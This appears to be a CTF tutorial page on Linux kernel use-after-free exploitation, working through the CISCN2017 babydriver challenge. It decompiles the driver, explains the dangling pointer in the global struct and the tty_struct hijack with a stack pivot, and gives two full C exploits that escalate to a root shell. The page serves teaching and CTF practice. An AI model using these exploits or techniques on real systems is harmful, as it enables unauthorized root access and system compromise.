Skip to content

Kernel UAF

UAF stands for Use After Free, which typically refers to the exploitation of dangling pointers that were not reset after being freed. Previously in the userspace heap section, many of the ptmalloc exploits were based on UAF vulnerabilities for further exploitation.

In CTF, the kernel's "heap memory" mainly refers to the direct mapping area, where the commonly used allocation function kmalloc allocates memory from. The commonly used allocator is the slub allocator. If dangling pointers exist in the kernel, we can likewise exploit the slab/slub memory allocator to achieve privilege escalation through Kernel UAF.

Example: CISCN2017 - babydriver

Challenge attachments can be downloaded at https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/CISCN2017-babydriver.

Analysis

First, let's decompress rootfs.cpio and see what files are inside:

CISCN2017_babydriver [master●] mkdir core
CISCN2017_babydriver [master●] cd core 
core [master●] mv ../rootfs.cpio rootfs.cpio.gz
core [master●●] gunzip ./rootfs.cpio.gz 
core [master●] ls
rootfs.cpio
core [master●] cpio -idmv < rootfs.cpio 
.
etc
etc/init.d
etc/passwd
etc/group
...
...
usr/sbin/rdev
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 块
core [master●] ls
bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
core [master●] bat init
───────┬─────────────────────────────────────────────────────────────────────────────────
        File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
   1    #!/bin/sh
   2      3    mount -t proc none /proc
   4    mount -t sysfs none /sys
   5    mount -t devtmpfs devtmpfs /dev
   6    chown root:root flag
   7    chmod 400 flag
   8    exec 0</dev/console
   9    exec 1>/dev/console
  10    exec 2>/dev/console
  11     12    insmod /lib/modules/4.4.72/babydriver.ko
  13    chmod 777 /dev/babydev
  14    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
  15    setsid cttyhack setuidgid 1000 sh
  16     17    umount /proc
  18    umount /sys
  19    poweroff -d 0  -f
  20   │
───────┴────────────────────────────────────────────────────────────
According to the contents of init, line 12 loads babydriver.ko, this driver. Following the usual pwn routine, this is the vulnerable LKM. The other commands in init are common Linux commands and won't be explained further.

Let's extract this driver file.

core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..
core [master●] cd ..
CISCN2017_babydriver [master●] check ./babydriver.ko
./babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
[*] '/home/m4x/pwn_repo/CISCN2017_babydriver/babydriver.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
No PIE, no canary protection, symbol table not stripped, very nice.

Open it in IDA for analysis. Since the symbol table is not stripped, let's first press shift + F9 to see what structures exist. We can find the following structure:

00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000                                         ; XREF: .bss:babydev_struct/r
00000000 device_buf      dq ?                    ; XREF: babyrelease+6/r
00000000                                         ; babyopen+26/w ... ; offset
00000008 device_buf_len  dq ?                    ; XREF: babyopen+2D/w
00000008                                         ; babyioctl+3C/w ...
00000010 babydevice_t    ends
00000010

Now let's look at the main functions:

babyioctl: Defines command 0x10001, which can free device_buf in the global variable babydev_struct, then reallocate a chunk of memory based on the user-provided size, and set device_buf_len.

// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
  size_t v3; // rdx
  size_t v4; // rbx
  __int64 v5; // rdx

  _fentry__(filp, *(_QWORD *)&command);
  v4 = v3;
  if ( command == 0x10001 )
  {
    kfree(babydev_struct.device_buf);
    babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
    babydev_struct.device_buf_len = v4;
    printk("alloc done\n", 0x24000C0LL, v5);
  }
  else
  {
    printk("\x013defalut:arg is %ld\n", v3, v3);
  }
}

babyopen: Allocates a block of space of size 0x40 bytes, stores the address in the global variable babydev_struct.device_buf, and updates babydev_struct.device_buf_len.

int __fastcall babyopen(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
  babydev_struct.device_buf_len = 64LL;
  printk("device open\n", 0x24000C0LL, v2);
  return 0;
}

babyread: First checks whether the length is less than babydev_struct.device_buf_len, then copies data from babydev_struct.device_buf to buffer. Both buffer and length are user-provided parameters.

void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_to_user(buffer, babydev_struct.device_buf, v4);
  }
}

babywrite: Similar to babyread, but copies from buffer to the global variable instead.

void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
  size_t v4; // rdx

  _fentry__(filp, buffer);
  if ( babydev_struct.device_buf )
  {
    if ( babydev_struct.device_buf_len > v4 )
      copy_from_user(babydev_struct.device_buf, buffer, v4);
  }
}

babyrelease: Frees the space, nothing special to say.

int __fastcall babyrelease(inode *inode, file *filp)
{
  __int64 v2; // rdx

  _fentry__(inode, filp);
  kfree(babydev_struct.device_buf);
  printk("device release\n", filp, v2);
  return 0;
}

There are also two functions babydriver_init() and babydriver_exit() that handle the initialization and cleanup of the /dev/babydev device respectively. You can look up the function usage; we won't analyze them further.

Approach

There are no traditional userspace vulnerabilities like overflow, but there is a pseudo race condition-induced UAF vulnerability:

  • If we open two devices simultaneously, the second open will overwrite the space allocated by the first, because babydev_struct is global. Similarly, if we free the first one, the second one is actually already freed, creating a UAF.

Next, let's consider how to hijack program execution flow through UAF. Here we choose the tty_struct structure as the victim object.

Under /dev, there is a pseudo-terminal device ptmx. When we open this device, the kernel creates a tty_struct structure. Like other device types, tty driver devices also have a structure containing function pointers called tty_operations.

It's easy to see that we can hijack the tty_struct structure and its internal tty_operations function table of the /dev/ptmx device through UAF. Then when we perform corresponding operations on this device (such as write, ioctl), our planted malicious function pointers will be executed.

Since SMAP protection is not enabled, we can lay out the ROP chain and fake tty_operations structure on the userspace process stack.

The structure tty_struct is located in include/linux/tty.h, and tty_operations is located in include/linux/tty_driver.h.

There is nothing like one_gadget in the kernel, so to complete ROP we also need to perform a stack pivot.

Using gdb for debugging, observe the register values when the kernel calls our malicious function pointer. Here we choose to hijack the tty_operations structure to the userspace stack, and select any kernel gadget as the fake tty function pointer to conveniently set a breakpoint:

image.png

We can easily observe that when we call tty_operations->write, the rax register contains the address of the tty_operations structure. Therefore, if we can find a gadget like mov rsp, rax in the kernel, we can successfully pivot the stack to the beginning of the tty_operations structure.

Using ROPgadget to search for related gadgets, we find two gadgets that meet our requirements:

image.png

GDB debugging reveals that the first gadget is actually equivalent to mov rsp, rax ; dec ebx ; ret:

image.png

With this gadget, we can nicely complete the stack pivot process and execute our constructed ROP chain.

Since the space between the beginning of the tty_operations structure and its write pointer is small, we need to perform a second stack pivot. Here we just pick any gadget that modifies rax:

image.png

Exploit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

int main(void)
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();

    //get the addr
    FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
    if(sym_table_fd < 0)
    {
        printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
    }
    char buf[0x50], type[0x10];
    size_t addr;
    while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
    {
        if(prepare_kernel_cred && commit_creds)
            break;

        if(!commit_creds && !strcmp(buf, "commit_creds"))
        {
            commit_creds = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
            continue;
        }
    }

    size_t rop[0x20], p = 0;
    rop[p++] = POP_RDI_RET;
    rop[p++] = 0x6f0;
    rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
    rop[p++] = 0;
    rop[p++] = getRootPrivilige;
    rop[p++] = SWAPGS_POP_RBP_RET;
    rop[p++] = 0;
    rop[p++] = IRETQ_RET;
    rop[p++] = getRootShell;
    rop[p++] = user_cs;
    rop[p++] = user_rflags;
    rop[p++] = user_sp;
    rop[p++] = user_ss;

    size_t fake_op[0x30];
    for(int i = 0; i < 0x10; i++)
        fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;

    fake_op[0] = POP_RAX_RET;
    fake_op[1] = rop;

    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    size_t fake_tty[0x20];
    int fd3 = open("/dev/ptmx", 2);
    read(fd2, fake_tty, 0x40);
    fake_tty[3] = fake_op;
    write(fd2, fake_tty, 0x40);

    write(fd3, buf, 0x8);

    return 0;
}

Old Solution

The solution for this challenge back in the day was to directly modify the uid and gid of the process's cred structure to 0 through UAF, which was very simple and straightforward.

However, this method is no longer viable in newer kernel versions. We can no longer directly allocate objects from cred_jar, because cred_jar has the SLAB_ACCOUNT flag set during creation. When CONFIG_MEMCG_KMEM=y (enabled by default), cred_jar will no longer be merged with the same-sized kmalloc-192.

From kernel source 4.5 kernel/cred.c

void __init cred_init(void)
{
  /* allocate a slab in which we can store credentials */
  cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
          SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}

This challenge (4.4.72):

void __init cred_init(void)
{
  /* allocate a slab in which we can store credentials */
  cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
                   0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}

Therefore, here we introduce a more universal solution. For those interested in the old solution, you can refer to the following exp:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

int main(void)
{
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");

    ioctl(fd1, 0x10001, 0xa8); /* object to be reused as the child's cred */
    close(fd1);

    int pid = fork();

    if(pid < 0) {
        printf("\033[31m\033[1m[x] Unable to fork.\033[0m\n");
        return -1;
    }
    else if(pid == 0) { /* the child to get the UAF cred */
        char buf[30];

        memset(buf, '\0', sizeof(buf));
        write(fd2, buf, 28);  /* overwrite uid&gid to 0 directly */

        if(getuid() == 0) {
            puts("\033[32m\033[1m[+] Successful to get the root.\033[0m\n");
            system("/bin/sh");
            return 0;
        } else {
            printf("\033[31m\033[1m[x] Failed to get the root.\033[0m\n");
            return -1;
        }
    }
    else { /* the parent */
        wait(NULL); /* waiting for the child to be done */
    }

    return 0;
}

Reference

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x04-Kernel-Heap-Use-After-Free

https://bbs.pediy.com/thread-247054.htm

https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html

http://muhe.live/2017/07/13/babydriver-writeup/

https://www.anquanke.com/post/id/86490